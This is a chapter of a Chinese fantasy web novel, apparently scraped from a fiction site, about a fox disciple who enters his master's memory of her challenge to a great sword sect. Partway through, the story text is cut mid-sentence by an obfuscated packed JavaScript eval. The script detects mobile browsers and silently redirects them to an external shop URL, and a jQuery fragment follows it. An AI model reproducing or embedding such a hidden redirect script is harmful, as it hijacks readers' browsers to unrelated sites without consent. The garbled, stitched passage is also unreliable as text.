文趣网 > 都市小说 > 霜寒不敢恨春风 > 14. 问剑
    鸟承认她有一瞬间的动摇,如果这个事是狐狸崽干的,那她就可以进谗言让叶妃寒罚狐狸了。

    届时一肚子坏水的狐狸心存芥蒂,少根筋的叶妃寒无知无觉,她在从中勾连那么几件小事,师徒离心不过是时间问题。

    妙哉妙哉。

    但是鸟大义凛然地拒绝了!

    因为这是一只一肚子坏水的狐狸,鸟脑袋小,担心有陷阱她没发觉,反倒被狐狸算计了。

    毕竟这一族的江湖名声不算太好。

    叶霜行有点遗憾,但还是扬着笑脸安慰山大王,“那好吧,大王你接着捂这块石板吧,没准能生出一块小石板来堵上这条裂缝。”

    鸟的眼睛里要喷火,听听,听听,这说的是人话吗?!

    他艰难地从鸟肚子底下把盘子都划拉出来,结果只有一个盘子还是整的。

    鸟扇了他一下,将将给人扇进厨房。

    这下叶霜行是真真切切地遗憾了,山大王的结界他破不开,不然借着这一翅膀,他就可以去峰顶找师父了。

    叶霜行收好这只仅存的硕果,才关好橱柜门,灶台旁的灶王爷像上便延伸出一段灵力凝成的丝线,精准地绑在他手腕上。

    细线紧紧一拽,叶霜行整个人“咚”地一声砸到灶王爷像边上,他甚至觉得自己在白日里看见了满天的星星。

    叶霜行闭着眼睛缓了一会儿才顺着细线看向灶王爷像。

    原来是熟人,这唇红齿白的灶王爷长了一张方步行师祖的脸。

    叶霜行目光落到腕上这几圈细细的淡蓝,那不用说,这一定是方师祖的灵力束缚了。

    控梦术才入门便来约束他行止。

    就算行差踏错也得先能行,他还什么都不会呢。

    “师祖,山大王防我,是因为同类相斥,她与我本质上都是妖族,妖生性自私,总想在喜欢陪伴的人身边做那个与众不同,分量最重的人,您这又是为什么?”

    他仰头看方灶王爷那张风流面,不解道:“我不是您徒孙吗?将来传承凤湖剑山衣钵之人,您这又是为什么?暗地里计划让我恨上师父与她反目?”

    若是在中州流浪的那些日子,他的确是会如此,可他现在不是没人要的野狐狸,山大王和师祖都不喜欢他也没关系,师父喜欢他就足够了,他也不需要旁人喜欢。

    就在这时,细线亮了亮,随后隐去了行迹。

    他能感受到这灵力束缚还在,但肉眼的确看不见了。

    这又是个什么说法?

    夜半入梦,叶霜行举着自己的爪子把这句话问向了始作俑者。

    “唔,”方步行今天给自己长了两撇小胡子,他按了按自己的八字胡,“如意珠带出来的小崽子脾气同她还挺像,我以为你不会问的。”

    方步行眯着眼睛笑了一声,这笑容让叶霜行觉得有几分熟悉,心头顿觉不妙,下一刻他听见师祖说:“我不告诉你。”

    师祖语气里的得意和山大王一模一样。

    叶霜行闭了闭眼,有些好奇师父从前是怎样和这一人一鸟生活的,师父如今波澜不惊,其实应该归功于师祖和山大王吧。

    “控梦术,是极吃天赋的术法,心法已经全都传授给你了,剩下的便要你自己悟,如今师祖不能时时在侧,你师父在这事上帮不上忙,有这束缚环,可以保你不会走火入魔。”

    方步行大掌搭在徒孙肩上,与他一同看着徒孙推不开的那扇,属于叶妃寒的门,闲谈一般提及:“小狐狸,我教控梦术的事,被山大王发现了吧。”

    狐狸点点头。

    “如意珠没练过这门术法,所以山大王也只能在你身上感受到属于我的灵力,他也根本不知道,这门术法,出师快得很。”

    快得很,有多快?

    叶霜行仰头看向师祖,骤然被一股巨大的力量推向那扇紧闭的门,身后的师祖朗声道:“入门即出师,走到何种程度皆看各人天赋,今日,你便去试试水吧。”

    叶霜行的脸撞到门上,事已至此,躲已躲不掉,他壮着胆子去推,n那曾将他打退数里的屏障,这次,没有拦他。

    门,开了!

    叶霜行欣喜地回头去看师祖,师祖已经不见了,仅有微风卷起不知名的小花,落在那被山大王压裂的石桌之上。

    他转过头去,谨慎地迈进去,结果一脚踩空。

    前一瞬尚且能踏住实地的触感骤然消失,没有任何缓冲。

    失重感像一只冰冷的大手猛地攥住五脏六腑,整个人不受控制地向下坠去。

    风声瞬间炸开,尖锐地灌入狐狸双耳,呼啸着撕扯衣袂,发丝杂乱地拍打在脸颊上。

    叶霜行的意识出现短暂的空白,大脑来不及反应,本能的惊惧先一步窜上四肢百骸。

    他心口急剧发紧,胃里一阵翻涌下坠,仿佛内脏全都脱离原本的位置,跟着身躯一同往下沉。

    他闭上眼睛,认命地想,就这样死在师父的心里,也没什么不好。

    约摸过了一盏茶,狐狸嘭地一声落了地。

    天光大亮,他跌在一片青草地上,狐狸站起来仔细检查了自己,没有受伤,他松了口气。四下看去,看到一块方方的界碑,矗立在那几乎通入云海的石阶旁。

    界碑上归玉山庄四个大字写得龙飞凤舞。

    狐狸的心剧烈地跳动起来,这是师父的心,是她的记忆,而这段记忆,明显是在,她问剑道于归玉山庄那一天。

    苍云垂野,长风卷着细碎的青色剑气,横扫千里青芜。

    天下第一剑宗归玉庄,雄踞万丈绝壁之上。

    百载灵脉滋养,整座仙庄白玉为阶、琉璃为宇,飞檐悬着千年不熄的照灵剑灯,云海翻涌间,殿宇巍峨如天上宫阙。

    庄外百里剑林肃立,数万柄镇山灵剑悬空排布,寒光森然,剑气冲霄,是震慑四海修真界的无上宗门壁垒。

    可今日,云海分界处,立着一道单薄却挺拔的青衣身影。

    看上去不过十六七岁年纪,一袭素青衣裙飘逸出尘,无金纹绣饰,无灵宝华光,在漫天璀璨耀眼的归玉庄仙光里,朴素得近乎格格不入。

    圆月剑簪将在她发上熠熠生辉,几缕碎发被罡风拂起,贴在光洁清冷的额角。

    她眉目极淡,眼瞳是淬过寒雪的墨色,不见半分少年人的怯懦,唯有一片沉寂的荒芜。

    容颜清丽绝尘,却无半分柔媚,周身萦绕的凛冽剑意,比归玉庄满山灵剑更显孤冷锋芒。

    一柄古朴长剑负于身后,剑鞘是沉敛的乌木色,无

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693890|207622||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    雕无琢,蒙着经年风尘,这柄剑,狐狸没见过,狐狸贪婪地看着眼前的师父,敏锐地感觉到,此时的师父,与师祖给他看过的关于师父的记忆大不相同,更像是他接触到的,现在的师父。

    她无人相伴,无援无依。茫茫云海,巍巍仙宗,自始至终,只有她一人一剑,孤身赴这天下顶尖的龙潭虎穴,一步又一步,走得无比坚定。

    狐狸跟在师父身后,亦步亦趋。

    她足下未踏任何御空法宝,仅凭肉身灵力立在万丈高空。

    周身无形的灵力轰然流转,肉眼可见的青色灵力层层漾开,凛冽精纯的灵力压得周遭流云凝滞,归玉庄的罡风,竟在她身前三尺处尽数折散、寸步难侵。

    归玉庄护山剑林率先感知到外来剑意。

    刹那间,数万柄悬浮灵剑齐齐震颤,嗡鸣之声响彻群山,雪亮的剑光连成一片滔天剑网,层层叠叠朝着那道单薄的青衣身影碾压而去。

    宗门护山大阵自行启动,磅礴如山崩海泄的浩然剑气倾泻而下,是足以碾杀高阶修士的绝杀之势。

    过往无数来客,但凡直面这等威势,无不魂飞魄散、弃剑求饶。

    可叶妃寒脚步未动分毫。

    她垂在身侧的素白手指微微蜷起,眼底没有半分惧色。

    周身青色灵力骤然暴涨,没有花哨的法诀,没有炫目的术法,仅仅是纯粹、浑厚、远超寻常修士的高深灵力轰然迸发。

    嗡——!

    一声清越剑鸣自她身后乌木剑鞘中冲天而起。

    无形剑意横空出世,以一己之力硬撼整片归玉庄剑林。

    漫天碾压而来的璀璨灵剑剑光,在这道孤绝的青色剑意面前,竟如碎玉残雪般层层崩裂。数万柄镇山灵剑剧烈震颤,攻势寸寸瓦解,原本霸道凛然的剑鸣,竟硬生生被压得低哑萎靡。

    云海翻涌,剑气相撞的劲风掀起漫天云絮,席卷百里山峦。

    叶妃寒依旧静立原地,衣袂烈烈翻飞,青丝狂舞,身形始终挺拔如青松孤峰。

    她灵力深不见底,浩瀚如海,任凭归玉庄护山大阵全力施压,依旧稳如磐石,周身灵晕纹丝不乱,单薄的脊背挺得笔直,撑起了早已隐遁,几乎快被世人遗忘的师门风骨,撑起了一场无人看好、却誓死不休的复仇。

    庄门之内,无数闭关苦修的归玉庄长老、弟子尽数惊动。

    百年以来,归玉庄从未有过此等局面,一个名不见经传的少年少女,孤身一人,以一己灵力破宗门剑势,压镇山灵剑,凭一腔孤勇,硬生生闯至天下第一剑宗的山门之前。

    风声渐歇,碎落的剑光点点消散在云海之中。

    叶妃寒抬眸,漆黑的眼眸遥遥望向云雾深处那座至高无上的白玉主殿,声音清泠如碎冰,穿透层层云海壁垒,字字铿锵,落于整座山峰之上。

    “凤湖剑山叶妃寒,今日拜庄!”

    话音落,她缓缓抬手,指尖轻触身后剑柄。

    沉寂百年的师门古剑,瞬间战意滔天,凛冽青光穿透层层云海,刺破归玉庄万年荣光。

    一山万剑,满城仙宗,不敌少女一腔孤勇。

    清风载恨,玉剑承冤。

    她一人一剑,立于天下剑宗之巅,以渺小之身,向无上大宗,公然宣战。